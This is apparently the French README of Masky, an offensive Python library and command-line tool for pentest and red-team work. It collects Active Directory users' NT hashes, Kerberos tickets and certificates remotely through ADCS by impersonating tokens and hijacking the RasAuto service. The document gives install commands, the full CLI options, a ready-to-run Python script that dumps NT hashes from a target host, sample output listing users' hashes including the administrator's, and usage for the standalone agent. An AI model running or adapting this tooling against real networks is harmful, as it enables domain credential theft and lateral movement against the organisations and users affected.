
Bibliothèque Python avec CLI permettant de dump à distance les identifiants d'utilisateurs du domaine via un ADCS sans dumper la mémoire du processus LSASS
Masky est une bibliothèque python offrant une alternative pour récupérer à distance les identifiants des utilisateurs du domaine grâce à un ADCS. Un outil en ligne de commande a été construit au-dessus de cette bibliothèque afin de collecter facilement les PFX, les hashs NT et les TGT sur un périmètre plus large.
Cet outil n'exploite aucune nouvelle vulnérabilité et ne fonctionne pas en vidant la mémoire du processus LSASS. En effet, il tire uniquement parti des fonctionnalités légitimes de Windows et d'Active Directory (usurpation de jeton, authentification par certificat via Kerberos et récupération des hashs NT via PKINIT). Un article de blog a été publié pour détailler les techniques implémentées et le fonctionnement de Masky.
Le code source de Masky est largement basé sur les excellents outils Certify et Certipy. Je remercie sincèrement leurs auteurs pour les recherches concernant les techniques d'exploitation offensive contre ADCS (voir section Remerciements).
La bibliothèque python3 Masky et son CLI associé peuvent être simplement installés via le dépôt PyPi public comme suit :
pip install masky
L'exécutable de l'agent Masky est déjà inclus dans le paquet PyPi.
De plus, si vous devez modifier l'agent, le code C# peut être recompilé via un projet Visual Studio situé dans agent/Masky.sln. Cela nécessite .NET Framework 4 pour être compilé.
Masky a été conçu comme une bibliothèque Python. De plus, une interface en ligne de commande a été créée au-dessus de celle-ci pour faciliter son utilisation lors de tests d'intrusion ou d'activités RedTeam.
Pour les deux utilisations, vous devez d'abord récupérer le FQDN d'un serveur CA et son nom CA déployés via un ADCS. Ces informations peuvent être facilement récupérées via l'option certipy find ou via l'outil Microsoft intégré certutil.exe. Assurez-vous que le modèle User par défaut est activé sur l'AC ciblée.
Avertissement : Masky déploie un exécutable sur chaque cible via une modification du service RasAuto existant. Malgré le retour automatique de sa valeur ImagePath initiale, une erreur inattendue lors de l'exécution de Masky pourrait ignorer la phase de nettoyage. Par conséquent, n'oubliez pas de réinitialiser manuellement la valeur d'origine en cas d'arrêt non souhaité.
La démonstration suivante montre une utilisation basique de Masky en ciblant 4 systèmes distants. Son exécution permet de collecter les hashs NT, CCACHE et PFX de 3 utilisateurs de domaine distincts du domaine de test sec.lab.
Masky fournit également des options couramment proposées par de tels outils (nombre de threads, mode d'authentification, cibles chargées depuis des fichiers, etc.).
__ __ _
| \/ | __ _ ___| | ___ _
| |\/| |/ _` / __| |/ / | | |
| | | | (_| \__ \ <| |_| |
|_| |_|\__,_|___/_|\_\__, |
v0.0.3 |___/
usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT] [targets ...]
positional arguments:
targets Targets in CIDR, hostname and IP formats are accepted, from a file or not
options:
-h, --help show this help message and exit
-v, --verbose Enable debugging messages
-ts, --timestamps Display timestamps for each log
-t THREADS, --threads THREADS
Threadpool size (max 15)
Authentication:
-d DOMAIN, --domain DOMAIN
Domain name to authenticate to
-u USER, --user USER Username to authenticate with
-p PASSWORD, --password PASSWORD
Password to authenticate with
-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
-H HASHES, --hashes HASHES
Hashes to authenticate with (LM:NT, :NT or :LM)
Connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
Certificate Authority Name (SERVER\CA_NAME)
Results:
-nh, --no-hash Do not request NT hashes
-nt, --no-ccache Do not save ccache files
-np, --no-pfx Do not save pfx files
-o OUTPUT, --output OUTPUT
Local path to a folder where Masky results will be stored (automatically creates the folder if it does not exit)
Ci-dessous un script simple utilisant la bibliothèque Masky pour collecter les secrets des sessions d'utilisateurs de domaine en cours d'exécution sur une cible distante.
from masky import Masky
from getpass import getpass
def dump_nt_hashes():
# Define the authentication parameters
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()
# Create a Masky instance with these credentials
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)
# Set a target and run Masky against it
target = "192.168.23.130"
rslts = m.run(target)
# Check if Masky succesfully hijacked at least a user session
# or if an unexpected error occured
if not rslts:
return False
# Loop on MaskyResult object to display hijacked users and to retreive their NT hashes
print(f"Results from hostname: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")
return True
if __name__ == "__main__":
dump_nt_hashes()
Son exécution génère la sortie suivante.
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
- sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
- sec\askywalker - 8928e0723012a8471c0084149c4e23b1
- sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a
Un objet MaskyResults contenant une liste d'objets User est retourné après une exécution réussie de Masky.
Veuillez consulter le module masky\lib\results.py pour vérifier les méthodes et attributs fournis par ces deux classes.
À partir de la version 0.0.5 de Masky, l'agent exécutable autonome peut désormais être exécuté facilement sans le CLI Python.
Voici les arguments :
$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)
Le paramètre /ca est obligatoire comme pour le CLI Python. De plus, l'argument /currentUser a été ajouté pour éviter l'usurpation de jeton en cours. En effet, une simple demande de certificat sera effectuée dans le contexte de l'utilisateur actuel, basée sur le modèle fourni (template). Les paramètres /output et /debug permettent de spécifier le chemin où seront créés les fichiers.
Les valeurs par défaut sont les suivantes :